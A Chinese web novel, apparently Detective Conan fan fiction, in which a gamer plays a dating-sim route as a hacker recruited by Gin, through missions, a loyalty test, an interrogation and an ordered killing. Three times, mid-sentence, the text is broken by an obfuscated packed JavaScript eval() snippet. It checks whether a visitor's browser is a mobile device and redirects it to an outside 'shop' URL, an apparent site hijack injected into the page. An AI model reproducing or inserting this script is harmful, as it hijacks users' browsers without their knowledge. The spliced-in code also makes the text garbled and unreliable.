《旮旯给木不是这样的啊!》 1. 01 【姓名】 银色长发美人冷淡地询问。 森川海思索片刻:“炭烧酸奶鱿鱼球。” “咔”一声,游戏秒退到标题页面。 森川敲了两下鼠标:“卡了?怎么给我卡回去了?” 重进。 【重新开始游戏】 “深海毛绒章鱼丸。” 咔。 【重新开始游戏】 “痔疮膏也是眼药水。” 咔。 …… “有没有体面点的ID。” 咔。 “我去!”森川海拍案而起,“这游戏怎么闪退啊!” 他怒而上网找攻略,找了半天没找到一样的情况,反倒是有人回复他问gal也能自己取名吗? 怎么不能!这对话框不就是用来填名字的吗? 诶。 森川海灵机一动。 【重新开始游戏】 “(*/?\*)” 这回没闪退,银发美人冷冷地看着他,输入框又一次出现。 【姓名】 哦。 森川大彻大悟,原来是名字问题吗,只要取抽象名字就会闪退! 所以游戏已经开始了,刚刚的闪退不会是琴酒给他来了一枪吧? 森川海心虚地移开目光。 红与黑是最近新出的游戏之一。森川本来是对这种名字很俗的游戏没什么兴趣的,但在看见游戏人物立绘后又改了主意。 银发绿眸冷脸美人!好! 金发黑皮辣妹(?)好! 黑发温柔猫眼青年!好! …… 在哪玩这个游戏。森川严肃地发问。急死玩家了,先别管剧情是什么,只看角色立绘就让色鬼着急,森川第一天看了宣发第二天预约了游戏第三天拿到内测资格,上完班就把游戏下载了下来,开始苍蝇搓手。 “我要先谈这个!”森川看着屏幕上的银发美人,毫不犹豫对【琴酒线】按了确定。 然后开始闪退。 好吧。森川遗憾地放弃了,在对话框里老老实实填点正常的文字。 废弃仓库弥漫着铁锈与灰尘的气味,琴酒倚着黑色的保时捷356A,银发在斜照的光线下泛着冷光,那双绿眸像结冰的湖。 新来的情报人员站在他面前,棕发微卷,笑的人畜无害。 “茶柱。”青年说,“清水茶柱,” 这次没作妖。 清水茶柱,擅长网络信息安全,顶级的电子战与反侦察专家。 琴酒盯着他,片刻,冷声道:“眼睛睁开。” 仿佛是第一次听见这种要求,那双总眯着的眼睛缓缓睁开一线,金色瞳孔里掠过一丝真实的惊讶,随即又弯成月牙。 “好的。”眯眯眼青年说,“琴酒大人。” 接下来的时间就有点无聊了。 和琴酒有关的能有什么好事?虽然说□□千金(?)确实很美味,但森川海本人对杀人可没什么兴趣,何况这游戏的动画做的格外逼真。 这次的任务目标是个公司高管,也是组织成员之一,叫田中悠太。本来没什么的,谁知道这人拎不清,竟然窃取组织资料,又想从酒厂捞好处又想给公安留人情,哪有这么好的事,这不就被琴酒找上门了。 森川对这种脚踩两只船的行为嗤之以鼻——要攻略就好好攻略目标啊,别的不说专一总能做到吧!渣男,我支持琴酒实行正义! 然后清水茶柱就被琴酒打包扔进楼里。 指令简洁残酷:潜入公司,拿到所有资料,清除痕迹。 “人呢?”茶柱多问了一句 背叛组织又撞上琴酒,那很难活了。 但问题在于,琴酒如果作为狙击手参与的话,他应该是在人死前还是人死后行动? 好像都有点难。 “你只需要完成你的任务。”琴酒的语气里没有商量余地。 又被训了。 茶柱叹了口气,一手抱电脑一手替换监控,幽怨的社畜味完美融入了上班族,他挤进电梯,喃喃道:“老板好难伺候。” 旁边听见的上班族默默点头。 田中悠太的办公室门被推开时,他还在整理最后的资料。 “面试不在这层。”他头也不抬。 茶柱:“……” “田中先生。”茶柱在他面前坐下,声音温和,“能借用一下您的电脑吗?” 田中猛然抬头,脸色骤变——“你!” 茶柱没给他机会,动作快的不像技术人员,他利落地将人制住,捆好,甚至体贴地调整位置——正对窗外某个可能的狙击点。他向琴酒比了个手势示意自便,随后便连上电脑开始搜刮。 接下来是“工作”时间,森川海在屏幕外开始了他的部分屏幕弹出简化的数据破解界面,实际上是快速俄罗斯方块和消消乐。每完成一组,游戏内的茶柱就进展一步——防火墙破解、加密文件解锁、数据传输……进度条随着方块消除稳步前进。 游戏时间的电子科技远没有现在森川使用的先进,但好在他加了技能点之后,系统自动赠送了全套硬件给他。不过在外人眼里,他用的电脑也只是更加轻便,看不出有什么特殊的地方。 但琴酒还是把这些东西翻来覆去地检查,硬是找了点有用的交给技术部让他们研发去了。 有用的资料打包加密,没用的就粉碎烧掉,茶柱把田中悠太的办公室收拾地干干净净,最后,他瞥了一眼还在挣扎的田中。 田中悠太在一旁拼命“唔唔”叫。 茶柱沉思片刻,把他嘴里的布团扯出来。 “你们不能杀我!资料还有备份——” 好无聊的话。茶柱叹了口气,一个利落的手刀。他从酒柜里拿出烈酒,往田中悠太嘴里灌了一瓶,剩下的打开东倒西歪放在桌子上,伪造出醉酒失火的现场。酒精味弥漫在办公室里,茶柱感到隐隐的头晕。 然后,他点起火。 火光在他冰冷的金色眼瞳里跳动,他转身离开,身后是蔓延的灼热与浓烟。 保时捷旁。 琴酒的枪口指着茶柱的额头,□□泛着金属的冷光。 “解释。”他冷冷开口。 “所有的电子资料已经获取并销毁,物理备份也已经处理好,定时邮件拦截完毕。”茶柱语速平稳,眼睛在枪口下依然眯着,“至于人……我认为叛徒不该活着。也省了你的子弹。” “你确定没有遗漏?” “我查了从他确认背叛到今天为止的所有行动轨迹,如果连我都找不到。”茶柱嘴角微扬,带着技术者特有的、近乎傲慢的自信,“那它等于不存在。” 理论上是做不到的。 但是这里是旮旯给木而森川是玩家。 所以玩家说什么就是什么,快夸我,琴酒! 沉默蔓延。几秒后,枪口缓缓垂下。 …… 玩家大失所望。 好感度涨了一咪咪,但实质奖励为0,支线任务倒是越做越多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189128|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——田中的收尾全部要他来负责,他还要参与琴酒的日常任务! 玩家的命也是命! 果然游戏不氪就肝! 一边,琴酒倒勉强觉得满意。 聪明,还算省心,听得懂人话,有能力,配合还不错。 如果田中悠太的后续证明清水是对的,那或许可以继续合作。 “你会开车吗?”琴酒问。 会的会的,森川发了串小猫点头表情包,别管会不会玩家什么都会。 “明早八点,米花町四丁目路口。” “收到。” …… “你还在这里干什么?”琴酒问。 茶柱睁大眼,凑近一步:“下班了诶,前辈不想和我一起吃饭吗?” 琴酒转身就走。 茶柱跟了上去。 银发的身影突然转身,冰冷的枪口抵住眯眯眼青年的额头,子弹上膛的声音清楚地表明琴酒的态度: 滚。 他好凶。森川想。但好涩。 这样想着,操控动作的手就变了味道。棕发青年非但没有后退,反倒凑近了点,在枪口上若有似无地蹭了一下。 琴酒周身的气压更低了,就算他下一刻开枪清水茶柱也不会意外的。 “好吧,好吧。”茶柱适时举起双手后退,“我这就走。” 琴酒看着他消失在街角,眼底神色莫测。 没有奖励就自己拿奖励,森川满意地操纵人物离开了。 然后开始干活。 俄罗斯方块俄罗斯方块俄罗斯方块。 消消乐消消乐消消乐。 田中悠太的家里没人,刚好方便了茶柱。他顺手用伪造的资料替换了组织需要的那些,检查了一遍没有遗漏,便把自己来过的痕迹清理干净离开。 接下来一切都很顺利。 没有多余的人也没有多余的事,玩家快乐地操纵人物给琴酒打电话。 “琴酒琴酒。”清水茶柱语气轻快,“我把剩下的资料也整理好了,要给你送过去吗?” 半夜被吵醒的琴酒:“?” “……不。”琴酒的语气压抑的可怕,“别做多余的事。” 电话挂了。 玩家懵了。 “这琴酒咋这样!”他大声嚷嚷,“我都把活干完了!” 话说琴酒让他去哪等来着? 森川一边领取奖励一边找路。看见墙就翻,遇见沟就跳,能走直线绝不拐弯。 不知道啊俺们玩家就是这样的.jpg 可能是为了挽留他,游戏给的奖励堪称丰厚:一张永远不会没钱的银行卡,一栋疑似抄袭hp的只有茶柱和茶柱认可的人才能进入的安全屋,以及初次见到其他酒厂成员自动使用的好感buff。 森川原谅了游戏。 茶柱抵达目的地——时间是凌晨四点。 游戏还是太自由了。 森川蠢蠢欲动想去敲琴酒家门,但又害怕刚涨点的好感度跳楼,最终只是在琴酒约定的地点附近靠墙坐下,闭目养神。 月光洒在他身上。远处高楼顶端,一点微不可查的反光悄然消失。 【第一天 end】 获得成就: 【琴酒的初步认可】 评价A:效率尚可,能力达标。 【暗处的目光】 评价A:你的表现,已引起某位女士的兴趣。 【劳模预备役】 评价B:主动加班,酒厂新星。 2. 02 八点,米花町四丁目。 棕发青年闭着眼睛,靠墙站着,手里拎着早点。 “早上好,前辈。”清水茶柱打了个招呼,“给你带了早点。” 琴酒黑着脸,这家伙到底是怎么做到在外面蹲守到现在,还好意思提着早餐朝他问好的? 一宿没睡的是清水茶柱,关他森川海什么事! 而且游戏机制很奇妙,只要原地挂机就能回复体力,那能抄近路为什么还要老老实实补觉? 琴酒冷眼打量:“你倒是清醒。” “毕竟是为前辈工作。”茶柱笑眯眯地回应,“我可是充满期待呢。” 这个人总是眯着眼,看不清眼里的情绪和细节。但眼下毫无熬夜痕迹,看起来根本不像熬夜到凌晨四点。 “上车。” 琴酒是个多疑的人。清水茶柱不止一次这样觉得。 不只是见面、第一次任务,连平时的细节动作都谨慎到可怕,简而言之,他怀疑身边的所有人。 很难搞的性格呢。 即使是现在上了车,琴酒也没有把驾驶权交给他,而是自顾自坐到主驾驶位,扔给他一个加密终端。 “路上看。” “你还没告诉我密码。”茶柱无辜道。 琴酒只是冷冷地瞥了他一样。 太难搞了这个人,解不开是能力不足,解的开又会被提防。清水茶柱叹了口气,认命般开始破解。 屏幕外,森川海打了个哈欠,完成了系统弹出的华容道。 【新的任务】 内容倒是比上一次简单。如果说上一次是对他能力的测试,那这一次就是对他忠诚度的考验。 茶柱快速扫视着信息。 这次的任务,是护送或者说监视组织代号成员“卡慕”与政界中间人“三岛”的会面。 卡慕——Camus,一种法国干邑白兰地。这是茶柱第一次接触到琴酒以外的代号成员。 “做好你的事。”琴酒的声音不容置疑,“如果卡慕叛变,你知道该怎么做。” “收到。”茶柱的笑容变淡。 这是什么意思? 琴酒,想让他一个非代号成员杀一个代号成员吗? “如果这次的任务你也能圆满完成……”琴酒阴冷的声音在他脖颈后响起,“或许组织会考虑给你代号。” “哦莫。”茶柱来了点兴趣,“我会好好努力的,谢谢琴酒大人。” 屏幕外,森川托着下巴。 “经典二选一……保人还是灭口?不,等等。” 茶柱的大脑飞速转动。 指挥权被暂时移交给卡慕。这个叫三岛的中间人也算是政界新星。不知道从哪产生了巨大的资金缺口只能求助于组织。但现在,组织对他的忠诚度产生了怀疑,这才有了卡慕、三岛和茶柱的会面。 但从琴酒角度来看,他们三个人都有可能叛变,卡慕是三岛的长期联络人,如果三岛出现异常,最先察觉的就是卡慕。如果卡慕隐瞒了三岛的近况,有两种可能。 一是卡慕与三岛私底下勾结,虽然背叛但罪不至死,但如果卡慕的背叛来自第三人,往坏处想,如果是公安,那今天的会面极有可能就是一个局,一场针对组织代号成员的围剿。 那自己呢? 这种情况下,为什么会有他这样一个非代号成员在场? 也就是说,明线任务是琴酒给卡慕的:照常会面,评估中间人。 卡慕的任务支线是指挥茶柱进行技术支持。 而暗线任务……或许组织早已拿到了卡慕背叛的证据,琴酒表面上将处决卡慕的任务交给他,但实际上真正被考察的是茶柱自己! 那些资料甚至不一定是真正的资料,而是引诱他去看的诱饵。 捋清楚这点后,茶柱面色不变,笑眯眯地跟随卡慕来到了一处半废弃的仓库。他找了个位置盘腿坐下,打开手里的电脑。 腿包里是西格昭尔P39系统M18型号,是美国陆军新一代□□。森川在游戏背包里找到的它,备注是“一个旧人的馈赠”。 不管了,先存档。 三岛到来时带着明显的焦躁,他频频张望,似乎身后有什么东西。在看见坐在角落的清水茶柱,焦躁到达了顶峰:“他是谁?” “你不需要知道。”卡慕的声音带着代号成员特有的、居高临下的从容,“做好自己的事。” 三岛状态稳定,交易清单已确认。 【来自卡慕的任务】 确保电子眼干净,封锁周边一千米的异常通讯,除非我下令,否则保持沉默。 茶柱眯着眼,手指在键盘上轻快地敲击,调出附近的监控录像和信号源。 屏幕外,森川海玩着系统简化成的连连看小游戏。一切看起来按部就班。 突然,茶柱的手指一顿。 “……咦?” 茶柱皱起眉。 “这个信号是……” 一个极其隐蔽、规律跳动的信号源,悄然出现在监控范围边缘——公安的加密通讯频段特征。 为什么公安会提前埋伏?卡慕?三岛? 茶柱的心脏猛然紧缩。 他现在要怎么办? 茶柱下意识抬手按住耳麦,一片寂静,琴酒什么都没说。 该怎么做? 要提醒卡慕吗?还是说…… …… 没有预兆,数个监控屏幕同时雪花——有人切断了区域网络! 有人知道他的存在和能力?! “刺啦——”耳麦里炸开一道道杂音,和琴酒的链接彻底断开,茶柱的心沉到谷底,他猛地站起身。 “我出去看看。” 卡慕和三岛盯着他。 茶柱的背后渗出冷汗。 在他走到仓库外的一瞬间,眼角突然出现一道反光,来不及思考,茶柱狼狈扑向侧方,下一刻,一颗子弹在地面炸开,赫然是他刚刚站立的地方! “琴酒……”茶柱咬牙切齿道,“就这么想让我死?” 他转身跑进仓库大喊:“条子来了!我们快撤!” 不对。 茶柱脚下一滑,我不是玩家吗? 他疑惑地想,那我在怂什么? 都怪琴酒! “给我路线!最优撤退路线!”卡慕声音中的从容破碎,声音急促。 茶柱立即调取预设方案,但地图上代表公安的红点已越来越近:“走东边!” 话音未落。 “砰。” 一声闷响。 三岛死了。 茶柱愣在原地。 开枪的是……卡慕? 下一秒,一颗子弹穿透他的胸膛,更强的冲击力让茶柱扑倒在地,断裂的肋骨和破裂的内脏带来的剧痛让他视野模糊。 最后看到的,是某处一闪而过的、冰冷的狙击镜反光。 琴酒开了枪? ……为什么? 【任务失败】 【达成成就:棋子的觉悟】 不是。 森川海想不通。 为什么琴酒选择先击杀他而不是卡慕?三岛是被卡慕杀的,背叛组织的到底是谁? 不,背叛组织的一定是三岛。 如果是卡慕背叛,那他就会明白今天琴酒不会到场,自己只是一个没有代号的底层成员,不值得红方为此出警。 那么三岛的目的是什么?他想黑吃黑或者给公安递投名状,但没料到有第三方监视,更没想到琴酒会参与。 所以他能意识到,如果警方出动,那么最先被杀的就是他,在两方人数二大于一时,三岛绝不会主动动手。 现在交易资料已经获取……森川突然发现,这些文件都隐藏有查看次数,一旦他打开或者试图打开,信息会立刻同步给琴酒。 冲他来的?资料是诱饵……琴酒想看的,是他面对同伴疑似叛变、强敌环伺时的反应?是忠诚,是能力,还是……求生的本能? 卡慕在其中,又扮演什么角色? 【读档点:任务开始前二十分钟】 这次,茶柱在卡慕布置任务时突然开口:“卡慕大人,我分析了过往数据和今日交通流量,建议更换会面地点。原地点狙击优势和快速突破点过多,风险过高。” 卡慕皱眉:“预案是琴酒大人核准的。你在质疑琴酒?” “我只是提供最优解。”茶柱坚持,并迅速给出一个看似更偏僻的备用地点。 卡慕盯着他看了几秒,眼底深处闪烁着什么。或许是出于对新技术的微妙信赖,或许是想看看这个新人有多大能耐,他竟真的通过加密线路向琴酒请示并获得了许可。 地点变更。 然而,新的会面地点虽隐蔽,却靠近一条傍晚热闹的商业街。公安显然也掌握了他们的备用方案,或者干脆就是通过追踪卡慕的请示信号锁定了新位置。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189129|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>交火提前爆发,且更为混乱。流弹击穿了商店橱窗,尖叫四起。中间人三岛在逃跑时被流弹击中倒地,卡慕在混乱中消失。任务彻底崩盘。 更糟的是,琴酒的保时捷如同幽灵般出现在街角。银发杀手下车,脸色阴鸷,他的目光扫过一片狼藉的现场、惊恐的平民和倒地的中间人,最终锁定了试图溜走的茶柱。 没有质问,没有犹豫。 □□抬起,扣动扳机。 “砰!” 【任务失败:引发重大公共事件,目标丢失,处决。】 森川海飞速思考着。 他已经隐藏了属于酒厂成员的信号,而三岛作为不被信任的中间人是不会知道二次转移的地点的。 那么,叛徒确实是卡慕? 或者说,三岛和卡慕同时存在背叛,但交易一旦产生问题,先被怀疑的是三岛,第一次卡慕对三岛开枪时,恐怕也是带着灭口的心思的。 而第二次,卡慕给警方留下讯息,所以他们才会比第一次更早到达。 可今天琴酒不在啊! 总不能是冲他来的吧! 琴酒不会允许他独自逃跑,哪怕获得资料也不可能。这些资料更像一个诱饵,一旦他因为好奇或者别的什么想去了解,琴酒就会送他上路。 而卡慕随时会反水,如果公安抓不到自己,那最先给自己补枪的就是卡慕。这个时间太短,琴酒在狙击点不方便移动,不能指望琴酒帮他。 要怎么做? 森川海深吸一口气,仔细研读起系统提供的、远超游戏角色认知的详细地形数据、信号覆盖模型,甚至包括一些模糊的“概率性事件提示”。 【读档点:任务开始前30分钟】 一切如第一轮般开始。卡慕下达着同样的指令。茶柱安静执行。 但在卡慕不知道的后台,茶柱正在悄然行动。 他匿名向市政电力部门报告“原狙击点A电路漏电风险”,导致该区域提前断电检修,琴酒被迫转移位置。 然后系统提供公安行动的加密频道频率范围,他进行破解,模仿上级发出的指令,成功让一支机动小队绕了远路。 最后,他注意到系统提示的“仓库西侧排风管道老旧,结构脆弱,承重可疑”。 接下来,就是等一切发生。 袭击如约而至,但态势已变。 狙击威胁减弱,突入力量出现短暂空档。卡慕压力大减,甚至成功击倒两名公安,押着三岛试图撤离。然而,公安的主力依然完成了合围,将卡慕几人压制在仓库中央的集装箱区域,接应车辆被火力封锁在外围。 “该死!突围路线被锁死了!”卡慕低吼。 茶柱看着监控,大脑飞速运转。系统在地图上标出了一个高亮提示——正是那个脆弱的西侧排风管道。 一个极其冒险、完全超出技术人员范畴的计划成型。 他猛地切换通讯频道,直接接通了那个只该接收、不该主动联系的频率,用清晰、快速,甚至带有一丝不容置疑的口吻喊道: “琴酒!清空右侧货箱区域!我要带他们从西侧管道突破,需要火力掩护——或者简单点,给我拉出一条枪线!” 频道那头是死寂般的沉默。仿佛过了一个世纪,也可能只有一秒。 “砰!砰!砰!” 精准的三连发狙击子弹,几乎擦着卡慕几人藏身的集装箱边缘射入公安的前进路径,激起一片碎石烟尘,成功吸引了全部火力,制造了一瞬间的缺口。 “就是现在!西侧!管道!”茶柱对着卡慕大吼。 卡慕眼中闪过震惊、迟疑,最终被求生欲覆盖。他撞开被茶柱提前破坏锁扣的管道盖板,将三岛粗暴塞入,自己紧随其后。几乎在他们进入的同时,琴酒的狙击枪打爆了管道入口上方的支架,塌落的杂物完美封住了入口。 惊险脱出。 他们从管道出口钻出来,琴酒早已跟着定位等候多时。 茶柱看了眼琴酒,安详地躺在地上。 活了,真好。 旁边的三岛面色煞白,连滚带爬地扑到琴酒身前,想抓他的衣服又被避开:“别杀我!我知道你们那个梦幻之药!我能搞到官方批文——” “噗。” 他的后心处蔓延出一朵血花。 卡慕收回消音手枪,和琴酒对视。 片刻后,卡慕移开枪口,若有若无地指向茶柱,示意道:“他怎么处理?” 3. 03 “吐真剂。” 清水茶柱被绑在审讯室,刺眼的光晃的他睁不开眼。 “主要成分是东莨菪碱或者硫喷妥钠,但你们应该比我清楚这些东西只能让人说出更多的话而不一定是真话……不好意思琴酒,您继续。” 琴酒倒没什么特别的反应,他把那支不确定成分的试剂推到茶柱血液里,冰凉和刺痛后,茶柱感到些微混乱。 但是对我有什么用? 森川海疑惑,角色说什么还不是自己控制,既然这样…… 玩家开始不怀好意。 “你长的真好看,琴酒。”看上去已经混乱的清水茶柱嘟囔道,“就凭你的长相对我做什么我都会原谅的……” 琴酒:“……” 他深吸一口气,抑制住给这个人一枪的冲动,然后询问:“你今天的表现不像技术人员。” 说起这个茶柱就来气:“今天到底谁是老鼠啊!琴酒!条子都追着我们咬了,你怎么还不杀卡慕!他就那么好吗连你都不忍心下手?” 但第二次读档只有茶柱知道。也就是说在其他人看来,背叛者毫无疑问是三岛。 现在唯一知道卡慕也是叛徒的只有他。 那么如果卡慕知道自己知道卡慕是叛徒…… 很好,代号成员仇恨+1。 “老大!我觉得卡慕不对劲,真的,你让我查一下他,他肯定有问题。”清水茶柱眯眯眼都睁开了,“我只是个普通的技术人员,到底为什么要上一线啊。”他越说越难过,“连前辈你也要杀我,卡慕也想杀我,这不公平……” 琴酒:“……” 琴酒:“名字。” “清水茶柱,说真的我一直觉得这个名字很敷衍……” “你为什么加入组织?” “不知道啊,他们说能亲琴酒我就来了。” 琴酒:“……” 琴酒举起枪。 森川海清醒了,开始疯狂读档。 “你为什么加入组织?” “因为组织有钱而且真给我,在外面打工一辈子都挣不了这么多,我想玩智能手机我想玩游戏科技发展太慢了我受不了……而且前辈实在是太优秀了我就想跟着琴酒大人干……嘿嘿琴酒……嘿嘿……” 琴酒用力闭了闭眼。 他把束缚带解开:“十分钟。” “让我看看,你这身本事到底是从哪来的。” 茶柱慢慢从椅子上站起来,感到眼前一片斑斓的色块。 头好痛。 有人想给他注射别的什么,却被茶柱拦住了。琴酒开口:“是新斯的明,你会好受点。” 茶柱果断放开手,堪称乖巧地让医疗人员注射。 …… 训练场深埋地下,空气里弥漫着金属、硝烟和淡淡的血腥味。惨白的灯光照亮了空旷的混凝土空间,墙壁上布满弹孔和利器划痕。科恩靠在监控台边,基安蒂擦拭着她的狙击步枪,目光像打量猎物般落在场中央的茶柱身上。 琴酒脱下了那件标志性的黑风衣,只穿着黑色战术背心,银发束在脑后。他没有拿惯用的□□,而是从武器架上随手取了一柄训练用的匕首,在掌心掂了掂。 他的声音在空旷场地里回响,没有任何温度。“攻击我。” 茶柱深吸一口气,摆出一个系统基础教程里教的格斗起手式。他冲刺,挥拳——动作标准,甚至称得上利落。 琴酒甚至没有移动脚步,只是侧身,匕首的尖端如同毒蛇吐信,精准地抵在茶柱冲来的路径上,点中他的肋下。 “太慢。”琴酒评价,“再来。” 第二次,茶柱试图变向,但琴酒的肘击后发先至,撞在他的胃部。茶柱闷哼一声,后退两步,额角渗出细汗。系统在视野角落弹出淡红色的【建议闪避路径】,但信息太快,他只能本能地尝试遵循。 第三次,他勉强格开了琴酒的一次擒拿,甚至试图反击,但匕首冰冷的触感已贴上了他的颈动脉。 “你的反应,”琴酒盯着他因喘息而微微睁开的琥珀色眼睛,“有延迟。不是身体跟不上,是这里——”他用匕首虚点茶柱的太阳穴,“你在计算。生死之间,没有时间给你计算。” “我在尝试预判,前辈。”茶柱喘息着说。 “预判?”琴酒嗤笑,猛地一个低扫腿,茶柱狼狈跳开,“凭你不知道从哪学来的小技巧?真正杀人时没有技巧。靠的是这里——”他点了点自己的胸口,“本能。或者,足够多的经验。” 接下来的十分钟是单方面的压制。琴酒用各种凌厉的方式将茶柱击倒、锁死、逼入角落。茶柱的衣服被汗水浸透,身上多了好几处淤青和伤口,但他的眼神却越来越亮——他在疯狂记忆琴酒的动作,同时试图跟上系统提供的方案。渐渐地,他能多坚持几秒,甚至偶尔能做出让琴酒眼神微动的闪避。 “停。”琴酒突然退后,将橡胶匕首扔开,走向武器架。“第二项。” 他扔给茶柱一把□□17,自己拿了一把同款。“拆卸组装。” 茶柱的手指抚过冰凉的金属。 系统界面弹出【□□17三维结构图】与标准拆解流程。 森川搞不来这种高级的,无助地玩消消乐。 为什么和琴酒打就要自己上啊!天杀的游戏。 茶柱吐出一口气,开始动作。他的手指很稳,步骤清晰,甚至比许多外围成员更流畅, 琴酒的速度则快得近乎残影,金属部件碰撞声清脆连贯,最后“咔哒”一声合拢,枪口已指向茶柱尚未完成的枪身。 “合格,但不够。”琴酒放下枪,“现在,移动靶。” 场地侧方升起数个人形靶,以不规则轨迹滑动。琴酒抬手就是三连发,全部命中头部区域。“到你了。” 茶柱举枪。视野中,系统辅助线微微闪烁。他扣动扳机。 “砰!砰!砰!” 两发命中躯干,一发擦过肩膀。 “还不够。”琴酒走到他身后,突然伸手,覆上他持枪的手,调整他的站姿和持枪角度。冰冷的触感让茶柱肌肉微僵。“手臂不是支架,是弹簧。视线不要聚焦在准星,要穿透靶心。”他的声音几乎贴着茶柱的耳朵,带着硝烟的气息,“再来。” 我去,好涩。 又一组射击,成绩略有提升。 “勉强可以。”琴酒退开,“最后一项。” 他拍了拍手,场地另一侧的铁门打开,一个被蒙着眼、双手反绑、瑟瑟发抖的男人被科恩推了进来。 “外围成员,老鼠。”琴酒盯着茶柱的眼睛扔,“处理掉。” 茶柱瞳孔微缩。地上的男人开始呜咽求饶。监控台边,基安蒂吹了个口哨。 系统没有弹出任务提示。没有选项框。只有一片沉默。 琴酒抱着手臂,站在几步外,像一尊冰冷的银色雕像。 茶柱弯腰,没有拿那把□□,而是捡起了刀。很沉。他走向那个男人。 男人的哀求声变得凄厉。 茶柱在他面前蹲下。他能闻到恐惧的汗味。系统依旧沉默。但森川海在屏幕外,清晰地意识到:这不是游戏动画。这是“角色”茶柱必须亲手完成的动作。 时间仿佛被拉长。 茶柱忽然开口,声音平静,对着那个男人低声说:“他们说你是老鼠。你有什么想说的吗?” 男人一愣,疯狂摇头,语无伦次地辩解。 就在他注意力被分散的瞬间,茶柱动了。他没有用刀刺向要害,而是猛地用刀柄重重砸在男人的颈侧!同时另一只手极其刁钻地切入反绑的绳索缝隙,用力一扯,利用杠杆和对方吃痛收缩的肌肉,造成一个短暂窒息的假象! 男人眼白一翻,瘫软下去,停止了挣扎和哀嚎。整个过程快、准、带着技术性的巧妙,唯独……不见血。 要杀他吗? 森川不知道自己为什么会犹豫。 干脆都试试好了,玩家说。 茶柱站起身,看向琴酒。他的呼吸有些急促,握着刀的手很稳,但脸色微微发白。 场地里一片死寂。 基安蒂挑眉。科恩眨了眨眼。 琴酒走了过来,低头查看了一下瘫软的男人,又抬头看向茶柱。他的绿眸深不见底,审视着茶柱脸上每一丝表情。 良久。 “刀柄。”琴酒缓缓开口,“颈侧动脉窦打击致晕。绳索压迫气管模拟窒息。干净,有效,不留痕迹。”他的目光锐利如刀,“谁教你的?” 茶柱迎着他的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189130|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光,努力让声音平稳:“我只是觉得……在训练场弄得太脏,不好清理,前辈。而且,留着他,也许还能问出点别的。” 又是一阵令人窒息的沉默。 琴酒忽然扯动了一下嘴角,那几乎算不上是一个笑容,更像是对某种荒诞现实的嘲讽。 “聪明。”他最终说,听不出是赞许还是更深的怀疑,“但取巧。清水,你还没接受现实吗?” 他转身,走向出口,声音冷冷传来: “从下周开始,每周这个时间,来这里。我会亲自训练你。” “至于他——”他瞥了一眼地上昏迷的男人,“交给后勤组。你可以走了。” 茶柱站在原地,直到琴酒的身影消失在门口,才缓缓松开紧握的刀。掌心全是冷汗。 基安蒂扛着枪走过来,拍了拍他的肩膀,咧嘴一笑:“竟然敢在琴酒面前不杀人,小子,有意思。” 茶柱勉强回以一笑。 【琴酒认可度下降】 【旁观者的疑惑】 …… 【懦弱者的选择】 评价:C …… 【读档】 在男人昏迷后,茶柱把刀刺进他颈部大动脉。或许是力气不够,他用了两只手。 血嗞了出来。 这次琴酒没说什么,或许是看出了他的生疏,他依然要求茶柱每周继续训练。 茶柱站在原地,直到琴酒的身影消失在门口,才感到支撑身体的力气骤然抽离。他踉跄一步,靠在了冰冷的墙壁上。 右手还维持着握刀的姿势,指尖却无法抑制地传来细密的颤抖。不是恐惧,更像生理性的排斥。他能感觉到黏腻的血液正顺着刀柄的防滑纹路,缓慢而固执地渗透进他的皮肤纹理里,冰冷,又带着一丝诡异的温热。 胃部在翻搅。 系统界面刷新: 【关键指令执行完毕】 【琴酒认可度上升】 【新任务已生成】 “哈……”一声短促而干涩的喘息,从他喉咙里挤出来。他闭上眼,视网膜上却似乎还残留着最后一刻那双瞪大的、充满绝望的眼睛,以及生命迅速流失时,身体无法控制的轻微抽搐的触感。那感觉如此清晰,远比任何游戏特效或文字描述都要真实百万倍。 基安蒂不知何时走到了不远处,抱着胳膊,用一种混合了审视和一丝了然的平淡语气说:“第一次都这样。回去洗个热水澡,喝点烈的,别想太多。下次就好了。” 科恩默默地走过来,他看了茶柱一眼,没说话,但那眼神里似乎也透着一丝对新人必经之路的司空见惯。 茶柱点了点头,动作有些僵硬。他抬起手,想将刀递还给琴酒,或者放到该放的地方,却发现手指关节因为过度用力而有些发白,暂时无法顺畅松开。 “刀可以带走。”琴酒冰冷的声音忽然从通道口传来,他竟然没走远,或许一直在阴影中观察。“记住这感觉,清水。这就是组织。要么适应它,成为它的一部分,”他顿了顿,银发在昏暗光线中掠过一丝寒芒,“要么被它吞没,像他一样。” 说完,脚步声终于真正远去。 